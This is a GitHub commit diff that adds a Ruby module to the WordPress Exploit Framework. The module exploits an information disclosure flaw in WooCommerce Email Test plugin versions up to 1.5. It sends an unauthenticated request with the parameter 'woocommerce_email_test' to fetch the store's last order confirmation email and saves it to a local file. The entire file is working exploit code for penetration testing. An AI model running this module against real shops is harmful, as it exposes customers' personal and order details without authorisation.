This repository was archived by the owner on Oct 22, 2020. It is now read-only.
File tree Expand file tree Collapse file tree 1 file changed +59
-0
lines changed Expand file tree Collapse file tree 1 file changed +59
-0
lines changed Original file line number Diff line number Diff line change
1
+ class Wpxf ::Auxiliary ::WoocommerceEmailTestOrderDisclosure < Wpxf ::Module
2
+ include Wpxf
3
+
4
+ def initialize
5
+ super
6
+
7
+ update_info (
8
+ name : 'WooCommerce Email Test <= 1.5 Order Information Disclosure' ,
9
+ desc : 'Versions <= 1.5 of the WooCommerce Email Test plugin allow unauthenticated ' \
10
+ 'users to download a copy of the last order confirmation e-mail sent by the system.' ,
11
+ author : [
12
+ 'jansass GmbH' , # Disclosure
13
+ 'Rob Carr <rob[at]rastating.com>' # WPXF module
14
+ ] ,
15
+ references : [
16
+ [ 'WPVDB' , '8689' ]
17
+ ] ,
18
+ date : 'Dec 08 2016'
19
+ )
20
+
21
+ register_options ( [
22
+ StringOption . new (
23
+ name : 'export_path' ,
24
+ desc : 'The file to save the HTML e-mail to' ,
25
+ required : true
26
+ )
27
+ ] )
28
+ end
29
+
30
+ def check
31
+ check_plugin_version_from_readme ( 'woocommerce-email-test' , '1.6' )
32
+ end
33
+
34
+ def export_path
35
+ normalized_option_value ( 'export_path' )
36
+ end
37
+
38
+ def run
39
+ return false unless super
40
+
41
+ emit_info 'Downloading order confirmation export...'
42
+ res = download_file (
43
+ url : full_uri ,
44
+ method : :get ,
45
+ params : {
46
+ 'woocommerce_email_test' => 'WC_Email_Customer_Completed_Order'
47
+ } ,
48
+ local_filename : export_path
49
+ )
50
+
51
+ if res . code != 200
52
+ emit_error "Server responded with code #{ res . code } "
53
+ return false
54
+ end
55
+
56
+ emit_success "Saved HTML e-mail to #{ export_path } "
57
+ true
58
+ end
59
+ end
You can’t perform that action at this time.
0 commit comments